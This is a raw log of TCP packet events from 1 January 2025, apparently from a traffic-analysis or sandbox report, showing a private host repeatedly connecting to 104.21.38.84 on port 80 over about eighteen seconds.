Jan 1, 2025 15:19:12.082696915 CET	80	50175	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.082736969 CET	50175	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.083205938 CET	80	50176	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.083272934 CET	50176	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.083529949 CET	50176	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.088280916 CET	80	50176	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.139182091 CET	50176	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.139970064 CET	50177	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.144881010 CET	80	50177	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.144938946 CET	50177	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.145152092 CET	50177	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.149980068 CET	80	50177	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.186702013 CET	80	50176	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.453710079 CET	80	50176	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.453758955 CET	50176	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.501153946 CET	50177	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.506031990 CET	80	50177	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.595653057 CET	80	50177	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.639645100 CET	50177	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.862037897 CET	80	50177	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.905044079 CET	50177	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.978832006 CET	50177	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.978841066 CET	50178	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.983700037 CET	80	50178	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.983838081 CET	50178	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.983869076 CET	80	50177	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:12.983974934 CET	50178	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.984035969 CET	50177	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:12.988801003 CET	80	50178	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:13.346497059 CET	50178	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:13.351342916 CET	80	50178	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:13.451025963 CET	80	50178	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:13.498781919 CET	50178	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:13.703182936 CET	80	50178	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:13.748873949 CET	50178	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:13.916254997 CET	50178	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:13.921396971 CET	80	50178	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:13.921454906 CET	50178	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:13.923125982 CET	50179	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:13.927975893 CET	80	50179	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:13.928077936 CET	50179	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:13.928255081 CET	50179	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:13.933008909 CET	80	50179	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:14.280235052 CET	50179	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:14.285068989 CET	80	50179	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:14.392832041 CET	80	50179	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:14.517144918 CET	50179	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:14.661909103 CET	80	50179	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:14.705163956 CET	50179	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:14.777267933 CET	50179	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:14.778130054 CET	50180	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:14.783948898 CET	80	50179	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:14.784027100 CET	50179	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:14.784574032 CET	80	50180	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:14.784810066 CET	50180	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:14.784919024 CET	50180	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:14.791795015 CET	80	50180	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:15.141166925 CET	50180	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:15.146173000 CET	80	50180	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:15.235023975 CET	80	50180	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:15.280004025 CET	50180	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:15.433778048 CET	80	50180	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:15.485140085 CET	50180	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:15.558665037 CET	50180	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:15.559459925 CET	50181	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:15.563746929 CET	80	50180	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:15.563807964 CET	50180	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:15.564300060 CET	80	50181	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:15.564362049 CET	50181	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:15.564471960 CET	50181	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:15.569308043 CET	80	50181	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:15.920754910 CET	50181	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:15.925582886 CET	80	50181	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:16.047651052 CET	80	50181	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:16.151655912 CET	50181	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:16.323621035 CET	80	50181	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:16.507416010 CET	50181	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:16.509191036 CET	50182	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:16.512448072 CET	80	50181	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:16.512656927 CET	50181	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:16.514025927 CET	80	50182	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:16.517247915 CET	50182	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:16.521153927 CET	50182	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:16.525932074 CET	80	50182	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:16.873821020 CET	50182	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:16.878614902 CET	80	50182	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:16.990896940 CET	80	50182	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.156161070 CET	50183	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.156166077 CET	50182	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.160952091 CET	80	50183	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.161027908 CET	50183	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.161175966 CET	80	50182	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.161205053 CET	50183	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.161324978 CET	50182	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.165939093 CET	80	50183	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.277126074 CET	50184	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.281949997 CET	80	50184	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.282051086 CET	50184	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.282233000 CET	50184	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.286993027 CET	80	50184	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.514617920 CET	50183	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.519479036 CET	80	50183	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.519526958 CET	80	50183	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.625559092 CET	80	50183	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.639684916 CET	50184	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.644536972 CET	80	50184	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.670641899 CET	50183	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.734874010 CET	80	50184	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.843585014 CET	50184	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.882026911 CET	80	50183	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.909539938 CET	80	50184	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:17.936244011 CET	50183	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:17.980415106 CET	50184	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.028877020 CET	50183	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.028996944 CET	50184	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.029531956 CET	50185	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.033957958 CET	80	50183	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:18.034014940 CET	50183	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.034200907 CET	80	50184	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:18.034241915 CET	50184	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.034392118 CET	80	50185	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:18.034445047 CET	50185	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.034584999 CET	50185	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.039350033 CET	80	50185	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:18.389487028 CET	50185	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.394296885 CET	80	50185	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:18.479615927 CET	80	50185	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:18.533113003 CET	50185	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.661140919 CET	80	50185	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:18.665119886 CET	50185	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.670242071 CET	80	50185	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:18.673242092 CET	50185	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.780215979 CET	50186	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.784989119 CET	80	50186	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:18.785227060 CET	50186	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.785459995 CET	50186	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:18.790230989 CET	80	50186	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:19.141113997 CET	50186	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:19.146055937 CET	80	50186	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:19.242579937 CET	80	50186	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:19.297116041 CET	50186	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:19.495914936 CET	80	50186	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:19.545624018 CET	50186	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:19.625680923 CET	50186	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:19.626420021 CET	50187	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:19.631000996 CET	80	50186	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:19.631056070 CET	50186	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:19.631227016 CET	80	50187	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:19.631289959 CET	50187	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:19.631405115 CET	50187	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:19.636208057 CET	80	50187	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:19.983261108 CET	50187	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:19.988135099 CET	80	50187	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:20.105650902 CET	80	50187	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:20.222421885 CET	50187	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:20.289628029 CET	80	50187	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:20.332626104 CET	50187	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:20.420521021 CET	50187	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:20.421288013 CET	50188	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:20.425615072 CET	80	50187	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:20.425667048 CET	50187	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:20.426090956 CET	80	50188	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:20.426156044 CET	50188	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:20.426255941 CET	50188	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:20.431029081 CET	80	50188	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:20.781126976 CET	50188	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:20.786942005 CET	80	50188	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:20.898302078 CET	80	50188	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:20.953123093 CET	50188	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:21.144660950 CET	80	50188	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:21.187370062 CET	50188	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:21.262496948 CET	50189	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:21.262505054 CET	50188	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:21.267374039 CET	80	50189	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:21.267704964 CET	80	50188	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:21.267831087 CET	50189	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:21.267843962 CET	50188	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:21.270971060 CET	50189	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:21.275738955 CET	80	50189	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:21.623857975 CET	50189	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:21.628647089 CET	80	50189	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:21.732659101 CET	80	50189	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:21.876626015 CET	50189	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:21.902836084 CET	80	50189	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:21.986609936 CET	50189	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.029011965 CET	50189	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.030055046 CET	50190	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.034055948 CET	80	50189	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.034106970 CET	50189	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.034925938 CET	80	50190	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.034990072 CET	50190	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.035105944 CET	50190	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.039840937 CET	80	50190	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.389451981 CET	50190	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.394361019 CET	80	50190	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.513819933 CET	80	50190	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.608134985 CET	50190	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.773986101 CET	80	50190	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.890645981 CET	50190	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.891020060 CET	50191	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.895623922 CET	80	50190	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.895726919 CET	50190	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.895775080 CET	80	50191	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.895977974 CET	50191	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.896151066 CET	50191	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.900939941 CET	80	50191	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.903034925 CET	50191	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.905092955 CET	50192	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.909914017 CET	80	50192	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.910027981 CET	50192	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.910278082 CET	50192	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:22.915066957 CET	80	50192	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:22.950635910 CET	80	50191	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:23.251004934 CET	80	50191	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:23.253168106 CET	50191	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:23.265093088 CET	50192	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:23.269965887 CET	80	50192	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:23.378401041 CET	80	50192	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:23.436223030 CET	50192	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:23.936321020 CET	80	50192	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:23.983098030 CET	50192	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.060930967 CET	50192	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.062242985 CET	50193	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.066023111 CET	80	50192	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:24.066067934 CET	50192	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.067004919 CET	80	50193	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:24.067075968 CET	50193	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.067261934 CET	50193	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.072086096 CET	80	50193	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:24.420784950 CET	50193	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.425740957 CET	80	50193	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:24.520596981 CET	80	50193	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:24.665098906 CET	50193	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.780503988 CET	80	50193	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:24.785104990 CET	50193	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.789963961 CET	80	50193	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:24.793196917 CET	50193	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.901087999 CET	50194	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.905915976 CET	80	50194	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:24.906003952 CET	50194	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.906084061 CET	50194	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:24.910877943 CET	80	50194	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:25.265085936 CET	50194	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:25.269882917 CET	80	50194	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:25.439625978 CET	80	50194	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:25.553793907 CET	50194	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:25.692163944 CET	80	50194	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:25.809470892 CET	50194	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:25.810622931 CET	50194	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:25.811602116 CET	50195	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:25.815629959 CET	80	50194	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:25.815680027 CET	50194	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:25.816368103 CET	80	50195	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:25.816435099 CET	50195	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:25.816730022 CET	50195	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:25.821521997 CET	80	50195	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:26.170721054 CET	50195	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:26.175488949 CET	80	50195	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:26.264875889 CET	80	50195	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:26.311225891 CET	50195	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:26.536165953 CET	80	50195	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:26.593081951 CET	50195	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:26.653084040 CET	50195	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:26.653086901 CET	50196	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:26.657929897 CET	80	50196	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:26.658096075 CET	80	50195	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:26.661242962 CET	50195	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:26.661242962 CET	50196	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:26.661324024 CET	50196	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:26.666117907 CET	80	50196	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.014585018 CET	50196	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.020036936 CET	80	50196	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.123842955 CET	80	50196	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.311347961 CET	50196	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.379690886 CET	80	50196	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.512798071 CET	50196	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.513870955 CET	50197	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.517819881 CET	80	50196	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.517868996 CET	50196	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.518835068 CET	80	50197	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.518904924 CET	50197	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.519031048 CET	50197	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.523791075 CET	80	50197	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.873801947 CET	50197	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.878628969 CET	80	50197	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.905874014 CET	50197	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.906405926 CET	50198	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.910923958 CET	80	50197	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.910978079 CET	50197	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.911156893 CET	80	50198	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:27.911217928 CET	50198	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.913285971 CET	50198	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:27.923897028 CET	80	50198	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.027940035 CET	50199	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.033675909 CET	80	50199	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.033741951 CET	50199	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.033804893 CET	50199	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.039544106 CET	80	50199	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.264465094 CET	50198	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.269298077 CET	80	50198	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.269386053 CET	80	50198	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.373490095 CET	80	50198	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.389410019 CET	50199	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.394392014 CET	80	50199	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.420583010 CET	50198	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.487620115 CET	80	50199	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.609097958 CET	50199	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.643812895 CET	80	50198	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.689091921 CET	50198	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.691658974 CET	80	50199	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.807852983 CET	50200	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.807853937 CET	50198	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.807864904 CET	50199	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.812774897 CET	80	50200	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.812962055 CET	80	50198	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.813077927 CET	50200	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.813080072 CET	50198	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.813323975 CET	80	50199	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:28.813359976 CET	50200	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.813400984 CET	50199	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:28.818222046 CET	80	50200	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:29.172588110 CET	50200	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:29.177563906 CET	80	50200	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:29.261162043 CET	80	50200	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:29.313069105 CET	50200	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:29.527627945 CET	80	50200	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:29.576829910 CET	50200	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:29.654532909 CET	50201	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:29.659337044 CET	80	50201	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:29.659399986 CET	50201	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:29.659507990 CET	50201	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:29.664273977 CET	80	50201	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:30.014436960 CET	50201	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:30.019228935 CET	80	50201	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:30.128740072 CET	80	50201	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:30.266395092 CET	50201	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:30.402816057 CET	80	50201	104.21.38.84	192.168.2.4
Jan 1, 2025 15:19:30.514400005 CET	50201	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:30.525866032 CET	50201	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:19:30.525886059 CET	50200	80	192.168.2.4	104.21.38.84
